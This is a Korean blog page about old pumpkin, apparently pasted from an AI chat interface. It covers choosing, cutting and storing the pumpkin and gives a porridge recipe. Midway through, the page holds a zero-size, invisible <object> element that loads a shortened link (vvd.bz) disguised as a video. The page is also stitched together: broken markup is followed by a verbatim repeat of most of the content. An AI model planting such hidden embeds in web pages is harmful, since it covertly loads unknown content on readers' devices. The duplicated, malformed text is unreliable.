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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:34">늙은 호박, 제철 맞이 손질법부터 보관법까지 완벽 정복!</h2><p data-sourcepos="3:1-3:28"><strong>1. 늙은 호박, 맛있게 먹는 방법 알아보기</strong></p><p data-sourcepos="5:1-5:104">늙은 호박은 단호박보다 껍질이 두껍고 단단하지만, 영양가가 풍부하고 맛도 더 진하기 때문에 많은 사랑을 받는 식재료입니다. 하지만 단단한 껍질 때문에 손질하기 어렵다는 단점이 있습니다.</p><p data-sourcepos="7:1-7:108">오늘은 늙은 호박을 쉽고 간편하게 손질하는 방법부터, 오래도록 맛있게 보관하는 방법까지 알아보겠습니다. 늙은 호박 요리 레시피도 함께 소개해 드리니, 늙은 호박을 활용한 다양한 요리를 맛보세요!</p><p data-sourcepos="10:1-10:16"><strong>2. 늙은 호박 손질법</strong></p><p data-sourcepos="12:1-12:20"><strong>2.1 늙은 호박 고르는 방법</strong></p><ul data-sourcepos="14:1-18:0">
<li data-sourcepos="14:1-14:42"><strong>무게:</strong> 늙은 호박은 무거울수록 속이 꽉 차 있고 맛이 좋습니다.</li>
<li data-sourcepos="15:1-15:48"><strong>껍질:</strong> 껍질이 짙은 노란색이고 흠집이나 곰팡이가 없는 것을 골라야 합니다.</li>
<li data-sourcepos="16:1-16:39"><strong>골:</strong> 늙은 호박의 골은 단단하고 깊게 파여 있어야 합니다.</li>
<li data-sourcepos="17:1-18:0"><strong>꼭지:</strong> 꼭지가 잘 묻혀 있는 것을 골라야 덜 상합니다.</li>
</ul><p data-sourcepos="19:1-19:19"><strong>2.2 늙은 호박 손질 방법</strong></p><p data-sourcepos="21:1-21:27"><strong>준비물:</strong> 늙은 호박, 칼, 숟가락, 지퍼백</p><ol data-sourcepos="23:1-27:0">
<li data-sourcepos="23:1-23:30">늙은 호박을 깨끗이 씻어 꼭지를 칼로 잘라냅니다.</li>
<li data-sourcepos="24:1-24:33">늙은 호박을 반으로 자르고 숟가락으로 씨를 제거합니다.</li>
<li data-sourcepos="25:1-25:53">껍질을 벗기는 데 어려움이 있다면, 전자레인지에 3~5분 정도 돌린 후 껍질을 벗겨냅니다.</li>
<li data-sourcepos="26:1-27:0">늙은 호박을 원하는 크기로 썰어 지퍼백에 넣어 냉동 보관하거나 즉시 요리에 사용합니다.</li>
</ol><p data-sourcepos="28:1-28:18"><strong>2.3 늙은 호박 손질 팁</strong></p><ul data-sourcepos="30:1-33:0">
<li data-sourcepos="30:1-30:50">늙은 호박을 손질하기 전에 전자레인지에 데쳐 주면 껍질을 훨씬 쉽게 벗길 수 있습니다.</li>
<li data-sourcepos="31:1-31:49">늙은 호박을 썰 때 칼이 잘 안 되면 망치로 살짝 두드려 주면 쉽게 썰 수 있습니다.</li>
<li data-sourcepos="32:1-33:0">늙은 호박 씨앗은 버리지 말고 말려서 간식으로 먹거나 차를 만들어 마실 수 있습니다.</li>
</ul><p data-sourcepos="34:1-34:16"><strong>3. 늙은 호박 보관법</strong></p><p data-sourcepos="36:1-36:13"><strong>3.1 상온 보관</strong></p><ul data-sourcepos="38:1-40:0">
<li data-sourcepos="38:1-38:40">늙은 호박은 직사광선을 피해 서늘하고 통풍이 잘되는 곳에 보관합니다.</li>
<li data-sourcepos="39:1-40:0">늙은 호박은 상온에서 약 1~2주 정도 보관할 수 있습니다.</li>
</ul><p data-sourcepos="41:1-41:13"><strong>3.2 냉장 보관</strong></p><ul data-sourcepos="43:1-45:0">
<li data-sourcepos="43:1-43:29">늙은 호박을 썰어 지퍼백에 넣어 냉장 보관합니다.</li>
<li data-sourcepos="44:1-45:0">늙은 호박은 냉장에서 약 1주일 정도 보관할 수 있습니다.</li>
</ul><p data-sourcepos="46:1-46:13"><strong>3.3 냉동 보관</strong></p><ul data-sourcepos="48:1-50:0">
<li data-sourcepos="48:1-48:29">늙은 호박을 썰어 지퍼백에 넣어 냉동 보관합니다.</li>
<li data-sourcepos="49:1-50:0">늙은 호박은 냉동에서 약 2~3개월 정도 보관할 수 있습니다.</li>
</ul><p data-sourcepos="51:1-51:19"><strong>4. 늙은 호박 요리 레시피</strong></p><p data-sourcepos="53:1-53:14"><strong>4.1 늙은 호박죽</strong></p><p data-sourcepos="55:1-55:43"><strong>재료:</strong> 늙은 호박 300g, 물 300ml, 찹쌀 100g, 소금 약간</p><p data-sourcepos="57:1-57:8"><strong>레시피:</strong></p><ol data-sourcepos="59:1-63:0">
<li data-sourcepos="59:1-59:34">늙은 호박을 깨끗이 씻어 껍질을 벗기고 씨를 제거합니다.</li>
<li data-sourcepos="60:1-60:39">늙은 호박을 1cm 두께로 썰어 냄비에 넣고 물을 넣고 끓입니다.</li>
<li data-sourcepos="61:1-61:35">늙은 호박이 익으면 찹쌀을 넣고 30분 정도 더 끓입니다.</li>
<li data-sourcepos="62:1-63:0">늙은 호박과 찹쌀이 완전히 익으면 소금으로 간을 합니다.</li>
</ol></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/b8YD" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="14:1-14:42"><strong>무게:</strong> 늙은 호박은 무거울수록 속이 꽉 차 있고 맛이 좋습니다.</li>
<li data-sourcepos="15:1-15:48"><strong>껍질:</strong> 껍질이 짙은 노란색이고 흠집이나 곰팡이가 없는 것을 골라야 합니다.</li>
<li data-sourcepos="16:1-16:39"><strong>골:</strong> 늙은 호박의 골은 단단하고 깊게 파여 있어야 합니다.</li>
<li data-sourcepos="17:1-18:0"><strong>꼭지:</strong> 꼭지가 잘 묻혀 있는 것을 골라야 덜 상합니다.</li>
</ul><p data-sourcepos="19:1-19:19"><strong>2.2 늙은 호박 손질 방법</strong></p><p data-sourcepos="21:1-21:27"><strong>준비물:</strong> 늙은 호박, 칼, 숟가락, 지퍼백</p><ol data-sourcepos="23:1-27:0">
<li data-sourcepos="23:1-23:30">늙은 호박을 깨끗이 씻어 꼭지를 칼로 잘라냅니다.</li>
<li data-sourcepos="24:1-24:33">늙은 호박을 반으로 자르고 숟가락으로 씨를 제거합니다.</li>
<li data-sourcepos="25:1-25:53">껍질을 벗기는 데 어려움이 있다면, 전자레인지에 3~5분 정도 돌린 후 껍질을 벗겨냅니다.</li>
<li data-sourcepos="26:1-27:0">늙은 호박을 원하는 크기로 썰어 지퍼백에 넣어 냉동 보관하거나 즉시 요리에 사용합니다.</li>
</ol><p data-sourcepos="28:1-28:18"><strong>2.3 늙은 호박 손질 팁</strong></p><ul data-sourcepos="30:1-33:0">
<li data-sourcepos="30:1-30:50">늙은 호박을 손질하기 전에 전자레인지에 데쳐 주면 껍질을 훨씬 쉽게 벗길 수 있습니다.</li>
<li data-sourcepos="31:1-31:49">늙은 호박을 썰 때 칼이 잘 안 되면 망치로 살짝 두드려 주면 쉽게 썰 수 있습니다.</li>
<li data-sourcepos="32:1-33:0">늙은 호박 씨앗은 버리지 말고 말려서 간식으로 먹거나 차를 만들어 마실 수 있습니다.</li>
</ul><p data-sourcepos="34:1-34:16"><strong>3. 늙은 호박 보관법</strong></p><p data-sourcepos="36:1-36:13"><strong>3.1 상온 보관</strong></p><ul data-sourcepos="38:1-40:0">
<li data-sourcepos="38:1-38:40">늙은 호박은 직사광선을 피해 서늘하고 통풍이 잘되는 곳에 보관합니다.</li>
<li data-sourcepos="39:1-40:0">늙은 호박은 상온에서 약 1~2주 정도 보관할 수 있습니다.</li>
</ul><p data-sourcepos="41:1-41:13"><strong>3.2 냉장 보관</strong></p><ul data-sourcepos="43:1-45:0">
<li data-sourcepos="43:1-43:29">늙은 호박을 썰어 지퍼백에 넣어 냉장 보관합니다.</li>
<li data-sourcepos="44:1-45:0">늙은 호박은 냉장에서 약 1주일 정도 보관할 수 있습니다.</li>
</ul><p data-sourcepos="46:1-46:13"><strong>3.3 냉동 보관</strong></p><ul data-sourcepos="48:1-50:0">
<li data-sourcepos="48:1-48:29">늙은 호박을 썰어 지퍼백에 넣어 냉동 보관합니다.</li>
<li data-sourcepos="49:1-50:0">늙은 호박은 냉동에서 약 2~3개월 정도 보관할 수 있습니다.</li>
</ul><p data-sourcepos="51:1-51:19"><strong>4. 늙은 호박 요리 레시피</strong></p><p data-sourcepos="53:1-53:14"><strong>4.1 늙은 호박죽</strong></p><p data-sourcepos="55:1-55:43"><strong>재료:</strong> 늙은 호박 300g, 물 300ml, 찹쌀 100g, 소금 약간</p><p data-sourcepos="57:1-57:8"><strong>레시피:</strong></p><ol data-sourcepos="59:1-63:0">
<li data-sourcepos="59:1-59:34">늙은 호박을 깨끗이 씻어 껍질을 벗기고 씨를 제거합니다.</li>
<li data-sourcepos="60:1-60:39">늙은 호박을 1cm 두께로 썰어 냄비에 넣고 물을 넣고 끓입니다.</li>
<li data-sourcepos="61:1-61:35">늙은 호박이 익으면 찹쌀을 넣고 30분 정도 더 끓입니다.</li>
<li data-sourcepos="62:1-63:0">늙은 호박과 찹쌀이 완전히 익으면 소금으로 간을 합니다.</li>
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